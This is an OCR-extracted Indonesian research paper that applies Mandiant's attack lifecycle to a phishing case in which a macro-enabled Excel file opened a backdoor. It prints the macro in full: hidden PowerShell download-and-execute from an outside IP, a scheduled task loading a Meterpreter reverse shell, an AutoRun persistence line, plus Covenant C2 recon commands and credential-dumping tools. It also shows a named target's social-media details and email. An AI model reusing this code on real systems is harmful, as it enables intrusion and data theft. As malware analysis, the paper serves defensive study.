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Abstract

The number of malware attacks that occur by embedding malicious code or exploits makes it
important to know the flow of the malware attack that occurs so that we can understand where
the attack started and what impacts can be caused by a malware attack that occurs, and how
the flow of the attack using an analytical method Cyber Attack Lifecycle. This research was
conducted to find out the flow of a malware attack, to find out where the attack started and to
find out what impact the attack could have on the Mandiant's Cyber Attack Lifecycle Model.
Mandiant's Cyber Attack Lifecycle Model was chosen as the analysis method because it has 8
stages that can cover the entire attack flow, namely initial recon, initial compromise, establish
foothold, escalate privileges, internal recon, move laterally, maintain presence, and complete
mission. Analysis of the attack was carried out from a document file which was indicated to
contain malware in which the document file was sent by someone using Microsoft Excel
document format and would be analyzed using Mandiant's Cyber Attack Lifecycle Model
method to find out where the attack started and how the attack flow could occur. The results
showed that the application of the Mandiant's Cyber Attack Lifecycle Model was successful in
covering all the attack paths well, knowing the impact of the attack, and being able to find out
where the attack started.

Keywords: malware; exploit; cyber attack lifecycle;

Abstrak
Banyaknya serangan malware yang terjadi dengan menanamkan kode jahat atau exploit
membuat pentingnya mengetahui alur dari serangan malware yang terjadi sehingga kita
dapat memahami dari mana serangan itu berawal dan apa saja dampak yang dapat
ditimbulkan dari serangan malware yang terjadi, dan bagaimana alur serangan menggunakan
sebuah metode analisis Cyber Attack Lifecycle. Adapun penelitian ini dibuat untuk mengetahui
alur sebuah serangan malware, mengetahui dari mana serangan itu berawal serta
mengetahui dampak apa yang dapat ditimbulkan dari serangan yang terjadi menggunakan
metode Mandiant’s Cyber Attack Lifecycle Model. Metode Mandiant’s Cyber Attack Lifecycle
Model dipilih sebagai metode analisis karena memiliki 8 tahapan yang dapat mencakup
seluruh alur serangan yaitu initial recon, initial compromise, establish foothold, escalate
privilages, internal recon, move laterally, maintain presence, dan complete mission. Analisis
serangan dilakukan dari sebuah file dokumen yang diindikasikan mengandung sebuah
malware yang mana file dokumen tersebut dikirim oleh seseorang dengan menggunakan
format dokumen Microsoft Excel dan akan dianalisa menggunakan metode Mandiant’s Cyber
Attack Lifecycle Model untuk mengetahui dari mana serangan itu berawal dan bagaimana alur
serangan dapat terjadi. Hasil penelitian menunjukkan bahwa dalam penerapan metode
Mandiant’s Cyber Attack Lifecycle Model berhasil mencakup semua alur serangan dengan baik.

Kata kunci: malware; exploit; cyber attack lifecycle;
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mengmdlkaSJkan bahwa internet memang merupakan salah satu produk
yang diciptakan dibumi ini yang paling penting dan powerful untuk
menunjang pekerjaan manusia. Pada abad 21 ini, hampir seluruh perangkat
elektronik bahkan benda yang secara mekanisme kerjanya tidak dijalankan
secara elektronik juga dapat terhubung ke internet, yang-mana teknologi ini
dikenal dengan istilah Internet of Things (loT), dengan kemampuan
pemerolehan, analisis, distribusi data yang dapat secara efektif dan cepat
diolah menjadi suatu informasi (Evans, 2011).

Kecepatan dalam mendistribusikan data pada internet, sangat
dibutuhkan untuk menunjang berbagai pekerjaan manusia dewasa ini, dari
berbagai bidang seperti ekonomi, politik, hingga aktifitas kemiliteran dan
inteligen. Maka dari itu, data yang dapat diakses melalui cyberspace menjadi
beresiko bahkan dapat menjadi ancaman keamanan suatu Negara. Beberapa
dekade terakhir, kebutuhan akan penguatan terhadap teknik spionase siber
telah terealisasikan secara serius, salah satu tekniknya adalah dengan
melakukan eksploitasi mengggunakan malware pada perangkat target
(Cunningham, 2020).

Pertumbuhan malware yang terus meningkat secara eksponensial
(Hansen & Larsen, 2015) membuat analisis terhadap malware menjadi hal
yang urgensi untuk terus diperbaharui. Banyaknya penanganan dan
perencaan serangan siber yang tidak dilakukan secara konseptual (Herr,
2014) membuat sulit untuk melakukan tracking sebagai bahan analisa dan
pembelajaran pada aktifitas serangan siber berikutnya. Salah satu solusinya
adalah dengan menggunakan atau menerapkan cyber threat lifecycle sebagai
kerangka kerja yang ditujukan untuk ketahanan siber, sehingga suatu
organisasi ataupun pada skala yang lebih besar seperti negara dapat dengan
lebih  optimal membuat, menyeimbangkan, mempersiapkan dan
merencanakan serangan ketika dibutuhkan dan dapat secara struktural
memulihkan kondisi jika terjadi serangan siber (MITRE, 2015) dengan
melakukan analisis berdasarkan hasil identifikasi dari tracking setiap
tahapan yang dilalui oleh penyerang.

Penelitian ini sendiri berfokus pada aktifitas cyber attack lifecycle
dengan mengimplementasikan Mandiant’s cyber attack lifecycle yang saat ini
tersedia pada sebuah temuan file dokumen yang terindikasi mengandung
malware untuk dianalisa lebih lanjut sehingga dapat mengetahui alur
serangan yang terjadi, mengetahui dampak serangan yang ditimbulkan, serta
dapat mengetahui dari mana serangan itu berawal. Beberapa framework
yang juga telah ada yaitu Threat Sequences dari Microsoft (Espenschied et al.,
2016), CIS Community Attack Model (CIS, 2016), Mandiant’s Attack Lifecycle
Model (Mandiant, 2013), NIST SP 800-30R1 (Rebecca M. Blank. Patrick D.
Gallagher, 2012), National Cyber Security Center : Stages in Cyber Attack
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dari mana Serangan itu berawal.

2. METODOLOGI PENELITIAN

Bab ini menjelaskan mengenai langkah - langkah penelitian yang akan
dilakukan. Adapun langkah - langkah metodologi yang diusulkan secara garis
besar diuraikan pada Gambar 1

Initial Recon

Initial
Compromise

Establish
[Zeleliglelle]

Maintain Escalate
Presence Privilages

Object
Move Not Found Internal
Laterally Recon

Object Found

Complete

Mission

Gambar 1. Alur Penelitian

2.1. Initial Reconnaissance

Penyerang  melakukan profiling terhadap target dengan
mengidentifikasi baik sistem atau kebiasaan target untuk menentukan
kerentanan dan menentukan metodologi serangan. Penyerang mungkin
dapat mencari layanan atau individu yang terhubung ke internet yang
mencakup informasi tertentu untuk mendapatkan celah kerentanan. Celah
kerentanan dapat diperoleh dari beberapa hal :

a) Melalui analisa aktivitas situs media sosial target wuntuk
mengidentifikasi minat atau ketertarikan target terhadap informasi
tertentu yang mungkin sedang dicari.

b) Melalui history konferensi yang dihadiri oleh target.
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yamar sebagai instansi terkait.
1 giniiterdapat kerentanan terhadap

e) Meldlui organisasi dan produk internal pada organisasi target.

2.2. Initial Compromise

Pada tahap ini, email phishing kemungkinan dikirimkan oleh penyerang
ke target berdasarkan hasil yang didapat pada tahapan initial reconnaissance
yang berisi profiling baik sistem maupun kebiasaan target. Penyerang
menyesuaikan nama dan isi file sesuai dengan topik yang sedang dicari oleh
target pada saat kejadian itu terjadi.

2.3. Establish Foothold

Koneksi (backdoor) telah terbangun dengan malware yang telah
dieksekusi oleh target untuk pijakan awal penyerang dapat mengakses dan
mengontrol komputer target dari luar jaringan. Backdoor akan membuat
jalur atau koneksi keluar dari jaringan komputer target untuk bisa
dikendalikan oleh penyerang.

2.4. Escalate Privilages

Pada tahapan ini, penyerang dapat memanfaatkan hak akses akun
istimewa pada komputer target apabila memungkinkan seperti Pengguna
Istimewa, Administrator Lokal, Administrator Domain.

2.5. Internal Reconnaissance

Mengumpulkan informasi dari komputer target menggunakan berbagai
perintah yang ada untuk mengetahui struktur jaringan,direktori dan file yang
ada pada komputer target.

2.6. Move Laterally

Memperluas area pencarian file atau dokumen penting ke komputer
lain yang terkoneksi dengan komputer target apabila file atau dokumen yang
dicari tidak ada pada computer target dengan memanfaatkan kredensial
pengguna yang telah disusupi untuk mendapat akses ke komputer lainnya
yang terkoneksi pada komputer target.

2.7.Maintain Presence

Pada tahapan ini, akses berkelanjutan ke komputer target dapat dibuat
dengan menginstal beberapa varian backdoor malware atau juga dapat
mendapatkan akses ke layanan akses jarak jauh seperti Virtual Private
Network (VPN) target atau organisasi dari target.
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mencapai tujuannya. Data penting, kekayaan
'nduh dlhapus ataupun d1ed1t

dilakukan. #

2.9. Case Study

Pada penelitian ini terdapat sebuah studi kasus serangan siber injeksi
malware pada sebuah dokumen yang mana serangan siber yang terjadi
belum dapat diidentifikasi dan alur penyerangan masih belum dapat
diuraikan dengan baik. Studi kasus yang terjadi melibatkan seorang
karyawan yang bekerja di PT Linbank yang kehilangan file dokumennya
penting perusahaan setelah mengakses file yang dia dapatkan dari akun
media sosialnya.

Mandiant’s cyber attack lifecycle sebagai metode penanganan serangan
siber dipilih untuk menganalisa serta memberikan gambaran jelas alur
penyerangan siber yang terjadi yang melibatkan seorang karyawan PT
Linbank dalam kasus injeksi malware pada sebuah dokumen.

3. HASIL DAN PEMBAHASAN
3.1. Initial Reconnaissance

Pada tahapan Initial Reconnaissance, proses profiling dapat dilakukan
penyerang dengan menyasar website organisasi target, analisa aktivitas
bisnis, histori konferensi yang dihadiri ataupun melalui analisa aktivitas situs
media sosial target untuk mendapatkan celah kerentanan yang nantinya
informasi yang didapat dari proses profiling ini dapat dimanfaatkan
penyerang untuk dapat menentukan metodologi serangan yang akan
dilakukan. Dalam kasus injeksi malware dalam penelitian ini, diketahui
penyerang dapat menemukan informasi email dan ketertarikan target
melalui akun media online linked.in dimana dalam akun linked.in target
didapati mencantukan alamat email dan media sosial pribadi target seperti
yang ditunjukkan pada gambar 2 dan 3.

Linkedfff]  reope~  oess

FT=|  Others named Deddy
Sanjaya

§ Deddy Sanjaya

Deddy Sanjaya dl PTLinbank
Business Development Manager di P

Deddy Sanjaya
g~
About

amed Deddy Sanjaya

Experience Deddy's public profile badge

Business Development Manager

Gambar 2. Dashboard Akun Linked.id
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bekerja.

Websites

Personal Website

Gmail

Gambar 3. Informasi Akun Media Sosial Lain yang Terkait dalam Akun
Linked.in

Pada gambar 3, ditemukan bahwa informasi yang terkandung dalam
akun media linked.in pada link website menampilkan alamat media sosial
lainnya yaitu berupa akun facebook dan email target. Dua informasi ini cukup
krusial dimana penyerang pada kondisi ini sudah dapat memulai tahapan
profiling dengan temuan akun media sosial target tersebut. Penyerang dapat
memulai melihat segala informasi yang terdapat didalam akun media sosial
yang terkait untuk melihat apakah ada kerentanan atau minat target
terhadap informasi tertentu untuk dapat dimanfaatkan seperti pada gambar
4.

.Rllly # 0 8 -

Deddy Sanjaya
2,2 rb Teman « 16 bersama
€ s¥88 B s (2

Iid Fowo/video & Tandai Teman

Pemilik di Detik Harga Ponsel

Belajar i Universitas Islam Indonesia Postingan 25 Filter
ernah belajar i SMA N 5 Yogyakarta
Deddy Sanjaya
Tinggal di Yogyakarta enit - &
M

untuk yang memiliki informasi harga mobil merk
hun 2021, Insyaaliah mau ambil 1 unit x-pander

Dari Yogyakarta

Ditkuti oleh 181 orang

o Suka (O Komentari

it e T— - 5 ©
Gambar 4. Akun Media Sosial Facebook Target

Foto iha
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ihat aktivitas akun media sosial facebook target
.mengenai harga::mobil mitsubishi yang mana

memanfaatkan minat target terhadap inforiasi yang ada didalam akun
facebook yang mana sedang mencari informasi harga mobil dan juga alamat
email target yang sudah tercantum di akun linked.in target dapat menjadi
media penyerang menargetkan serangannya.

3.2. Initial Compromise

Pada tahapan [nitial Compromise, Email phishing biasanya dikirimkan
oleh penyerang kepada target dengan menyesuaikan isian file dan nama
sesuai hasil yang didapat pada tahapan initial reconnaissance. Pada kasus
injeksi malware dalam penelitian ini, ditemukan pada device target bahwa
penyerang memulai serangannya dengan mengirimkan email phishing dan
menyamar menjadi salah satu sales mobil yang sedang menawarkan promo
besar-besaran di akhir tahun. Seperti pada gambar 5, Email yang dikirim
sepintas tidak ada yang mencurigakan karena terlihat hanya berisi
penawaran dari sales mobil yang sedang menawarkan sebuah promo.

¢« BOF ®OG bW o

®

18 Promo Akhir Tahun Mitsubishi 2021.xls xism

Gambar 5. E-mail Penawaran Sales Mobil

Namun, pemeriksaan lanjutan dilakukan dan menemukan bahwa
format email ini berbeda dengan standard email sales di perusahaan terkait
dan terlihat menggunakan layanan webmail gratis dan diluar kebiasaan
perusahaan seperti pada gambar 6.
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ID Pesan <CANeZfdODnksqgd3idUefiSpyvSPREIXEqegRSkndg85K Tuse8w@mail gmail com>
Dibuat pada 7 Oktober 2021 11.32 (Dikirim setelah 12 detik)

Dari Melany Anastasia <anasla5lamelan

Kepada deddysanjaya131@gmail.com

Subjek: Promo Mitsubisi Terbatas Il

DKIM 'PASS' dengan domain gmail.com Pelajari lebih lanjut

DMARC 'PASS' Pelajari lebinh lanjut

Gambar 6. Format E-mail

Penyerang juga melampirkan beberapa lampiran yang didalamnya
salah satunya berisi dokumen informasi promo yang mungkin dokumen
tersebut sudah disisipi program berbahaya atau malware seperti yang
ditunjukkan pada gambar 7.

L 3 o & = @
¢« B O F & 0 C¢ bW .
’ e
2= ftrri=a [ DHITA | 2>
TERMASUX DISKON 1 ,0"'0"0“77,
@
(-]

DEALER MITSUBISHI SURABAYA

ALLNEW
rAJERO SPORT

- i
FRiron @ i
- ‘

e

6 TE.SUN STAR poTOR

Gambar 7. Lampiran Dokumen E-mail

Penyerang ikut melampirkan file dengan nama “Promo Akhir Tahun
Mitsubishi 2021” yang diketahui berektensi “xls.xIsm” yang mana ektensi
tersebut bagian dari ektensi yang dipakai pada dokumen Microsoft Excel
seperti gambar 8.
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e
B Promo Akhir Tahun Mitsubishi 2021.xls.xlsm

Meet
B Rapatbaru

B8 Gabung ke rapat

B Promo Akhir Tahun

Hangout Mitsubishi 2021 xls.xlsm
QDendy
oBa
Tidak ada chat terbaru
Mulai yang baru
4 Balas ® Teruskan

BF Promo Akhir Tahu..xlsm A~

Gambar 8. Lampiran File Promo Akhir Tahun Mitsubishi 2021.xls.xIsm

Setelah dokumen di download, terlihat pada gambar 9 tipe dari ektensi
yang sebenarnya dari dokumen yang dilampirkan penyerang adalah
“Microfot Excel Macro-Enable Worksheet” yang mana file ektensi ini perlu
dicurigai karena fitur ektensi yang digunakan yaitu Macro pada dokumen
excel bisa saja telah diisi dengan malware atau kode jahat lainnya.

@ Promo Akhir Tahun Mitsubishi 2021.xls Properties X

General Secuity Details  Previous Versions

ﬂ EI. |Pr0mo Alchir Tahun Mitsubishi 2021 xls

Type of file:  Microsoft Excel Macro-Enabled Worksheet (xlsm)
Cpens with: Excel (desktop) Change...

Location: C:\Users\RifgirDownloads
Size: 9,95 KB (10.197 bytes)
Size on disk: 12,0 KB (12.288 bytes)

Created: 06 October 2021, 13:47:46
Modified: 07 October 2021, 16:21:03
Accessed: 07 October 2021, 16:20:56

Atributes: [ Read-only [ Hidden Advanced...

Security: This file came from another
computer and might be blocked to L] Unblock
help protect this computer.

Cancel Apply
Gambar 9. Ektensi Dokumen Microfot Excel Macro-Enable Worksheet

Fitur Macro sendiri diketahui adalah Fitur yang dapat merekam
aktivitas yang dilakukan user pengguna Microsoft Excel dan merupakan
bagian dari sederet perintah yang dapat disimpan dalam bahasa visual basic.
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dlper51ap amn dan dlslgfpkan pada fl]'é Ya_hg sudah dikirim pada tahapan
sebelumnya,. Situasi ini juga sering disebut sebuah pijakan awal. File
berbahaya seperti malware yang disisipkan pada sebuah dokumen dalam
kebanyakan kasus akan mulai aktif apabila target membuka dokumen dan
menjadi awal penting untuk penyerang menanamkan program jahat tersebut
seperti yang diperlihatkan pada gambar 10. yang didapat dari file dokumen
“Promo Akhir Tahun Mitsubishi 2021.xls.xlsm”. Seperti di dalam file
dokumen “Promo Akhir Tahun Mitsubishi 2021.xls.xlsm”, ketika target
adalah seseorang yang awam terhadap bahayanya berbagai file dokumen
yang mungkin mengandung berbagai program jahat dan memutuskan untuk
membukanya, ini akan menjadi awal pijakan yang bagus untuk penyerang
bisa menanamkan malware pada komputer target.

d s Promao Akhir Tahun Mitsubishi 2021.xls - Exeel ? B - x
HOME  INSERT ~ PAGELAYOUT ~ FORMULAS ~ DATA  REVIEW  VIEW Signin
2 X cut .= Tm B [y 2 Autosum - A,
Calibri A General - r Y By em T E v ik
. Bicopy ~ =R =< DFil- z
Past BIU- . ter + K. 05 5 45 g8 Conditional Formatas Cell  Insert Delete Format Sort & Find &
® Format Painter == " Formatting~ Table~ Styles~ - - - Clear - Filter~ Select~
Clipboara E) Font number w Styles cells Editing -~
I SECURITY WARNING Macros have been disabled Enable Content x
A19 - b2 v
A B C D E F G H J K =
2 _
3
O =Y
H Tipe Harga Tige Harga
6 1.5 Cross M/T Rp. 283.300.000 Red Diamond Rp. 495.350.000
7 1.5Cross A/T Rp. 292.700.000 Silky White Rp. 493.350.000
8 | 1.5Cross A/T (Premium Package) Rp. 305.300.000 Amethyst Black Rp. 490.350.000
9 Rockford Fosgate Black Rp. 312.000.000

2 Tipe Harga Tipe Harga

3 Exceed M/T4X2 Rp. 507.300.00 SCGLX4X2 Rp. 269.750.000
4 Exceed A/T4X2 Rp. 525.300.000 SC Hdx M/TdxX4 Rp. 358.250.000
5 GLX M/T x4 Rp. 572.300.000 DC Hax M/T ax4 Rp. 415.750.000
16 Dakar A/T4X2 Rp. 580.200.000 DC GLS M/T4x4 Rp. 438.250.000
7 Dakar Ultimate A/T 4X2 Rp. 629.200.000 DC Exceed M/T 4X4 Rp. 472.250.000
8 Dakar A/T4X4 Rp. 738.200.000 DC Ultimate A/T 4%4 Rp. 499.750.000
9

Gambar 10. Isi Dokumen Promo Akhir Tahun Mitsubishi 2021.xls. Xlsrn

Dalam kebanyakan kasus dalam dokumen yang disisipi program jahat,
malware akan mulai aktif apabila target memberikan izin dengan
mengaktifkan “Enable Content” pada dokumen yg telah disisipi oleh malware.
Secara tidak disadari perintah ini juga menjadi perintah untuk malware bisa
masuk dan mulai berpijak seperti gambar 11.

1 SECURITY WARNING Macros have been disabled. Enable Content

A1 - .

Gambar 11. Enable Content

Dalam pemeriksaan lanjutan, file dokumen “Promo Akhir Tahun
Mitsubishi 2021.xls.xlsm” ditemukan telah ditanam kode jahat yang
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ada Microsoft Excel. Malware bisa disisipkan dan
‘menu view > macros > view macros dengan
‘perintah yang diifiginkan untuk dieksekusi. Perintah
"""" e dokumen yang dikirim oleh

memanfadtkan fiturima

yang dida ﬁi’kan pada fitur macros dalam
penyerang? “adalah seperti gambar 12.

" Author: Matt Nelson

' Twitter: @enigma0x3
Sub Auto_Open()
Execute

# Persist

End Sub

Public Function Execute() As Variant
Const HIDDEN_WINDOW =0

strComputer =".
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")

Set objStartup = objWMIService.Get("Win32_ProcessStartup")

Set objConfig = objStartup.SpawnInstance_

objConfig.ShowWindow = HIDDEN_WINDOW

Set objProcess = GetObject("winmgmts:\\" & strComputer &
"\root\cimv2:Win32_Process")

objProcess.Create "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -
noprofile -noexit -c ""IEX ((New-Object
Net.WebClient).DownloadString(‘http://165.22.16.10:8080/ads.html"))""", Null,
objConfig, intProcessID
End Function

Public Function Persist() As Variant
Const HIDDEN_WINDOW =0
strComputer = "."
Set ob]WMISerV1ce = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")

Set objStartup = objWMIService.Get("Win32_ProcessStartup")

Set objConfig = objStartup.SpawnInstance_

objConfig.ShowWindow = HIDDEN_WINDOW

Set objProcess = GetObject("winmgmts:\\" & strComputer &
"\root\cimv2:Win32_Process")

objProcess.Create "Powershell.exe -ExecutionPolicy Bypass -WindowStyle
Hidden -noprofile -noexit -c Invoke-Command -ScriptBlock { schtasks /create /TN
WindowsUpdate /TR 'powershell.exe -ep Bypass -WindowStyle Hidden -nop -noexit -c
"[EX ((New-Object Net.WebClient).DownloadString('""'http://192.168.1.127 /Invoke-
Shellcode'"""))"; Invoke-Shellcode -Payload windows/meterpreter/reverse_https -
Lhost 192.168.1.127 -Lport 1111 -Force' /SC onidle /i 20}", Null, objConfig,
intProcessID
End Function

Gambar 12. Perintah yang Tertanam pada Fitur Macros dalam File Promo
Akhir Tahun Mitsubishi 2021.xls.xIsm
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nkan pijakan awal‘dan memulai koneksi keluar
server ke ontrol and Cogiifttand yang telah disiapkan. Salah
satu serveti€2 dashboatd yang sering §dig,’l_iﬁfakgin dan similar dengan kode
yang ditemiukan didalam file Promo Akhir Tahun Mitsubishi 2021.xls.xlsm
adalah menggunakan Covenant Dashboard seperti yang ada pada gambar 13.

o-OVENANT
— 4

Gambar 13. Dashboard Login Server C2 Covenant

Gambar 13 merupakan halaman login server C2 covenant yang telah
diinstall di dalam cloud server yang mana penyerang dapat memanfaatkan

server covenant ini untuk melakukan aksi seranian lani'utan.

(@ Dashboar
(o) oo Dashboard

Grunts

Name Hostname User Integrity LastCheckin Status Note Template

© ¢« "HEls 45678 > 0@

Listeners

Name ListenerType Status StartTime ConnectAddresses ConnectPort

Gambar 14. Dashboard C2 Covenant
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Gamibar 14 ) san tampilan dashboard ruang kerja server C2
2 g nantinya dapat:memonitor dan memberikan
itarget yangitélah terhubung dengan malware

3.4. Escalate Privilages

Tahapan Escalate Privilages, merupakan tahapan dimana penyerang
dapat menerobos dan memanfaatkan hak akses istimewa pada computer
target apabila memungkinkan dengan memakai hak akses Pengguna
[stimewa, Administrator Lokal, Administrator Domain.

Pada kasus injeksi malware pada file dokumen ini, hak akses istimewa
dapat penyerang dapatkan dengan sangat mudah dengan menggunakan kode
yang telah banyak berkeliaran dengan memodifikasi server C2 atau juga
dapat menggunakan tools pendukung yang populer. Hak istimewa didapat
dengan berbagai macam cara seperti membuang kata sandi yang telah ada
atau juga dapat dengan cara mengesktrak kata sandi yang ada pada sistem
seperti yang ditunjukkan pada table 1.

Tabel 1. Tools Pendukung untuk Mendapatkan Hak Akses Istimewa

Tools Keterangan

Pass-the-pass Membiarkan penyerang melewati hash kata sandi
untuk masuk ke sistem tanpa mengetahui kata sandi
asli.

Pwdump?7 Membuang hash kata sandi yang berada pada registri
Windows

Cachedump Mengekstrak hash kata sandi yang berada di cache
registri sistem

Issss Membuang hash kata sandi pada sesi masuk aktif pada
proses lsass

3.5. Internal Reconnaissance

Pada tahapan Internal Reconnaissance, Informasi struktur
jaringan,direktori dan file yang ada pada komputer target dikumpulkan
dengan menggunakan berbagai perintah yang ada pada server C2 covenant
menggunakan shortcut perintah yang telah disediakan.

Penyerang dapat mulai melakukan scanning struktur direktori, folder,
dan juga semua file yang ada pada komputer target dengan mengetikkan
beberapa perintah kedalam shell perintah pada server C2 covenant yang
sudah terinstall. Selain scanning struktur direktori, folder, dan juga semua
file yang ada pada komputer target, penyerang juga dapat melihat daftar
akun jaringan menurut grup seperti “Domain Komputer”, ‘Domain User” dan
juga “Domain Admin”. Beberapa perintah yang dapat dipakai dalam
penyerangan ini pada dashboard covenant adalah seperti yang ditunjukkan
pada gambar 15.
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nn

PowerShell /powershellcommand:”Get-PSDrive —PSProvider \”FileSystem)
ListDirectory /path:”(name of directory):”

GetDomainComputer /identities:"C01”

GetDomainGroup /identities:”"Domain Admin”

GetDomainUser /identities:"username”

Gambar 15. Shell Perintah Scanning Struktur Direktori, Folder, dan Semu
File yang ada pada Komputer dan Scanning Daftar Akun Jaringan Menurut
Grup.

3.6. Move Laterally

Pada tahapan Move Laterally, Area pencarian dokumen dapat diperluas
apabila penyerang tidak menemukan dokumen yang dicari pada komputer
utama target. Dengan mendapatkan akses kontrol penuh terhadap sistem
target, penyerang mudah untuk melakukan segala hal yang mereka butuhkan
didalam sistem yang telah di susupi. Move Laterally menjadi opsi lain apabila
file dokumen yang mereka cari tidak ada pada sistem target yang telah
mereka susupi. Penyerang hanya perlu menambahkan beberapa kode dengan
memanfaatkan hak istimewa yang telah didapatkan sebelumnya untuk
bermanuver ke komputer yang terhubung dengan komputer target.
Penyerang dapat menggunakan bantuan tools “psexec” seperti yang
ditunjukkan pada gambar 16 untuk menjalankan perintah pada sistem lain
yang terhubung pada komputer target.

EN AgpavnucTpatop: Windows PowerShell
is PowerShell
Kopnopauxsa Maikpoco$T (Microsoft Corporation). Bce npaBa SawWujeHsl.

NMonpefyiTe HOBYW KpoccnnaTgopMmedHyw obonoyky PowersShell (https://aka.ms/pscoreg)

ERVER ApMUHMCTpATOR Aal ipconfig

HacTpoika npoTokona IP gna Windows

Apgantep Ethernet Ethernet:

aneHuid IPvE
4-appec. .

Gambar 16. Pemanfaatan Tools psexec
Dalam kasus injeksi malware pada file dokumen ini, penyerang tidak

menggunakan tahapan ini karena file dokumen yang dicari sudah ada pada
komputer utama target, sehingga penyerang dapat langsung mengambil
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menanamkan kode auto run dengan tujuan agar dapat selalu terhubung
dengan komputer target ataupun dapat mempersulit penanganan serangan
siber yang terjadi.

Pada kasus injeksi malware pada file dokumen ini, penyerang
menambahkan perintah untuk menjaga koneksivitas terhadap komputer
target tidak terputus dan akan hidup kembali apabila target menyalakan
komputernya. Teknik yang digunakan untuk melakukan Maintain Presence
adalah AutoRun, dimana AutoRun ini adalah menambahkan sebuah perintah
di Registry Windows AutoRun yang akan dieksekusi oleh sistem operasi setiap
kali pengguna melakukan login seperti yang ditunjukkan pada gambar 17.

powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile
-noexit -c ""[EX ((New-Object
Net.WebClient).DownloadString('http://165.22.16.10:8080/ads.html'))""

Gambar 17. Perintah AutoRun pada Registry Windows AutoRun

Dengan koneksivitas yang dapat hidup secara otomatis ketika target
menyalakan komputernya, penyerang dapat mempertahankan kehadiran
mereka tanpa harus takut kehilangan kontrol kepada target dikemudian hari.

3.8. Complete Mission

Pada tahapan Complete Mission, penyerang dapat melakukan tujuan
utama dari semua tahapan yang ada yaitu menghapus data penting yang ada
dalam komputer target. Penyerang juga dapat melakukan edit atau
mentransfer file target ke komputer penyerang dengan menggunakan
shortcut server C2 covenant.

Pada kasus injeksi malware pada file dokumen ini, penyerang
melakukan penhapusan file dengan menggunakan shortcut yang terdaftar
pada server c2 covenant seperti yang ditunjukkan pada gambar 18.

Grunt: 7206b2af17

@ Task

D:\Pres_kinerja.ppt

Gambar 18. Shortcut Delete pada Server c2 Covenant
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penyerang dapat melakukan

kasus ini )
mana file itérsebut berisi data pentmg pif‘éSentam klner]a di PT Linbank
tempat target bekerja.

4. SIMPULAN

Penelitian dilakukan dengan menganalisa kasus Injeksi Malware pada
Suatu Dokumen dengan menerapkan metode Mandiant’s Cyber Attack
Lifecycle Model. Dalam proses analisa dan penerapannya ditemukan bahwa
Mandiant’s Cyber Attack Lifecycle Model dapat mecakup alur serangan dengan
lengkap melalui tahapan-tahapan yang dimiliki oleh Mandiant’s Cyber Attack
Lifecycle Model yaitu initial reconnaissance, initial compromise, establish
foothold, escalate privilages, internal reconnaissance, move laterally, maintain
presence, complete mission.

Berdasarkan penelitian yang sudah dilakukan, Mandiant’s Cyber Attack
Lifecycle Model yang merupakan salah satu framework penanganan serangan
siber yang ada, terbukti dapat mengenali alur serangan, mengetahui dari
mana serangan itu berawal, dan mengetahui dampak apa saja yang dapat
ditimbulkan dalam studi kasus injeksi malware pada suatu dokumen pada
penelitian ini. Seluruh alur serangan telah dapat dikenali dalam setiap
tahapan-tahapan yang dimiliki oleh Mandiant’s Cyber Attack Lifecycle Model,
dari mana serangan injeksi malware pada suatu dokumen ini dimulai dapat
dikenali pada tahapan initial reconnaissance, dan dampak yang ditimbulkan
juga dapat terangkum dalam tahapan complete mission.
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